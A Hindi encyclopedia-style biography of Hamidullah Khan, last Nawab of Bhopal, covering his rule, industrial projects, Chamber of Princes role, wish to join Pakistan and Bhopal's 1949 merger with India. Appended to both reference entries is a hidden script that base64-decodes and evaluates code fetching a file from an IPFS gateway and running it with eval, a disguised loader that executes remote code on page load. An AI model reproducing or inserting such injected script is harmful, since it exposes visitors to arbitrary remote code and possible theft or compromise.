हमीदुल्लाह ख़ान

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हमीदुल्लाह ख़ान
हमीदुल्लाह ख़ान
पूरा नाम हमीदुल्लाह ख़ान
जन्म 9 सितम्बर, 1894
मृत्यु तिथि 4 फ़रवरी, 1960
पति/पत्नी मैमूना सुल्तान
धार्मिक मान्यता इस्लाम
राजघराना भोपाल रियासत
अन्य जानकारी हमीदुल्लाह ख़ान 1930 से 1947 तक अलीगढ़ मुस्लिम विश्वविद्यालय के कुलपति भी रहे। हमीदुल्लाह ख़ान के संबंध उस समय के मशहूर व्यक्तियों महात्मा गाँधी, मोहम्मद अली जिन्ना, सरोजिनी नायडू, जवाहरलाल नेहरू, डॉ. अंसारी आदि से थे।

हमीदुल्लाह ख़ान (अंग्रेज़ी: Hamidullah Khan, जन्म- 9 सितम्बर, 1894; मृत्यु- 4 फ़रवरी, 1960) भारत में भोपाल रियासत के अंतिम नवाब थे। वह बहुत पढ़े लिखे एवं रियासत के कुशल संचालनकर्ता थे। नवाब सुल्तान जहां बेगम ने अपने जीवन काल में ही हमीदुल्लाह ख़ान को 16 मई, 1926 को रियासत का शासक बनाये जाने की घोषणा कर दी थी। 9 जून, 1926 को हमीदुल्लाह ख़ान भोपाल रियासत के शासक बने। शासक होने पर उन्होंने सभी विभागों के अलग-अलग मंत्री बनाये।

परिचय

भोपाल रियासत के आखिरी नवाब हमीदुल्लाह ख़ान का जन्म 9 सितम्बर, 1894 में हुआ था। इसके पहले तमाम बेगमों के हमेशा लड़कियाँ पैदा होती रहीं। सुल्तान जहां बेगम शुरू से ही हमीदुल्ला से ज्यादा प्यार करती थीं एवं रियासत के कार्यों में उन्हें शामिल किया करती थीं। सुल्तान जहां ने 16 अप्रैल, 1916 को हमीदुल्लाह ख़ान को रियासत का चीफ सेक्रेट्री बना दिया था। इनके दोनों बड़े भाई रियासत के उत्तराधिकार के लिये दावेदारी करने लगे थे। नवाब सुल्तान जहां बेगम ने अपने जीवन काल में ही हमीदउल्ला खान को 16 मई, 1926 को रियासत का शासक बनाये जाने की घोषणा की एवं 9 जून, 1926 ई. को ये शासक बने।[1]

विवाह

नवाब हमीदुल्लाह ख़ान की पहली शादी मात्र 11 वर्ष की उम्र में 6 दिसम्बर, 1905 को पेशावर में शहजादा हुमायूं की बेटी मैमूना सुल्तान से हुई, जिनसे 3 पुत्रियां हुईं। आबिदा सुल्तान जिनकी शादी नवाब कुरबाई से, साजिदा सुल्तान जिनकी शादी नवाब इफ्तेखार अली खां पटौदी से और राबिया सुल्तान जिनकी शादी पहले नवाब के भतीजे रशीदुज्जफर खान से हुई पर सफल नहीं हुई, फिर आगा नादिर मिर्जा से हुई। नवाब हमीदुल्लाह ख़ान ने दूसरी शादी सन् 1947 भोपाल में की थी, जिससे कोई संतान नहीं हुई।

कुशल शासक

हमीदुल्लाह ख़ान बहुत पढ़े लिखे एवं बेहतरीन हुक्मरान थे। शासक होने पर उन्होंने सभी विभागों के अलग-अलग मंत्री बनाये। भोपाल में 1931 में बिजली महकमा, 1934 में माचिस फैक्ट्री एवं 1937 में टेक्सटाइल मिल एवं सीहोर में शुगर फैक्ट्री लगवाई। करबला और याट क्लब विद्युत शक्ति वाले जल आपूर्ति के पम्प लगाये गये। कार्ड बोर्ड फैक्ट्री, ग्राउन्ड ट्रक टेलीफोन स्टेशन एवं बैरागढ़ में हवाई अड्डे की तामीर कराई। नवाब भोपाल ने अहमदाबाद में राहत मंजिल, चिकलौद कोठी और अहमदाबाद में ही सूफिया मस्जिद बनवाई। नवाब साहब सन् 1930 से 1947 तक अलीगढ़ मुस्लिम विश्वविद्यालय के कुलपति भी रहे। हमीदुल्लाह ख़ान के संबंध उस समय के मशहूर व्यक्तियों महात्मा गाँधी, मोहम्मद अली जिन्ना, सरोजिनी नायडू, जवाहरलाल नेहरू, डॉ. अंसारी आदि से थे।

नवाब हमीदुल्लाह ख़ान हिन्दुस्तान की देशी रियासतों के हुक्मरानों की कमेटी, जो चेम्बर आफ प्रिंसेस कहलाती थी, के चान्सलर बने और इसी हैसियत से 1930 में लंदन में हुई गोलमेज कांफ्रेंस और 1931 में दूसरी गोलमेज कांफ्रेंस में भाग लिया। सन् 1947 में नवाब ने एक नामजद मंत्रिमंडल का गठन किया, जिसमें राजा अवधनारायण बिसारिया प्रधानमंत्री, के.एफ. हैदर वित्त मंत्री, मुजफ्फर अली खां खाद्य मंत्री, सईद उल्ला खां रज्मी स्वास्थ्य व शिक्षा मंत्री एवं भैरों प्रसाद लोक निर्माण मंत्री बनाये गये थे। इस मंत्रिमंडल के गठन के बाद मार्च, 1948 में नवाब हमीदुल्लाह ख़ान ने भोपाल को एक अलग रियासत का स्वरूप प्रदान करने की दृष्टि से मालगुज़ारी माफी का ऐलान किया, जिसका भारी विरोध हुआ तथा मंत्रिमंडल का नया गठन हुआ।

पाकिस्तान में शामिल होने की चाहत

हमीदुल्लाह ख़ान दो बार 1931 और 1944 में चेम्बर ऑफ प्रिंसेस के चांसलर बने तथा भारत विभाजन के समय वे ही चांसलर थे। आजादी का मसौदा घोषित होने के साथ ही उन्होंने 1947 में चांसलर पद से त्यागपत्र दे दिया था। आजादी के बाद नवाब ने पाकिस्तान जाने की पूरी तैयारी कर ली थी। वहां जाने से पहले उन्होंने यहां से अपना खजाना पाकिस्तान भेज दिया था। इस दौरान नवाब मोहम्मद अली जिन्ना से संपर्क बनाए हुए थे। हमीदुल्लाह ख़ान किसी भी हालत में भारत के साथ अपनी रियासत का विलय नहीं करना चाहते थे। उन्होंने एकीकरण के एग्रीमेंट पर साइन करने से मना कर दिया था। पाकिस्तान के संस्थापक जिन्ना के काफी करीबी होने के कारण उन्हें भारत सरकार पर दवाब बनाने में मदद मिल रही थी।[2]

इस बीच पाकिस्तान जाने की तैयारी कर रहे नवाब हमीदुल्ला ने भोपाल बैंक और रियासत का खजाना पाकिस्तान भेज दिया। खजाना भेजने के बाद नवाब ने अपनी बेटी आबिदा सुल्तान से भोपाल रियासत का शासक बनने को कहा। बेटी ने पूरी स्थिति को समझकर मना कर दिया। जब उन्हें समझ आ गया कि भोपाल को पाकिस्तान में शामिल नहीं किया जा सकता और भारत में रियासत का विलय उनकी मर्ज़ी के बिना भी हो जाएगा तो वह हज को चले गए। उन्हें लगा कि लौटने तक कोई नया रास्ता निकल आएगा।

रियासत का भारत में विलय

नवाब हमीदुल्ला ने भोपाल रियासत की जिस बैंक का खजाना पाकिस्तान भेजा था, उसमें करोड़ों रुपए भोपाल के लोगों के जमा थे। बाद में इस बैंक को दिवालिया घोषित कर दिया गया। 11 सितंबर, 1948 को पाकिस्तान के संस्थापक मोहम्मद अली जिन्ना की मौत हो गई। पाकिस्तान का राजनीतिक घटनाक्रम तेज़ीसे बदला। नवाब को सरदार पटेल की सख्त चेतावनी मिल गई थी। अंततः भारी मन से नवाब ने 1 जून, 1949 को भोपाल रियासत का विलय भारत में कर दिया।


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टीका टिप्पणी और संदर्भ

  1. नवाब हमीदुल्लाह ख़ान (हिंदी) citybhopal.com। अभिगमन तिथि: 1 सितम्बर, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. तैमूर के पूर्वज पाकिस्तान में मिलाना चाहते थे अपनी रियासत (हिंदी) bhopalsamachar.com। अभिगमन तिथि: 1 सितम्बर, 2018।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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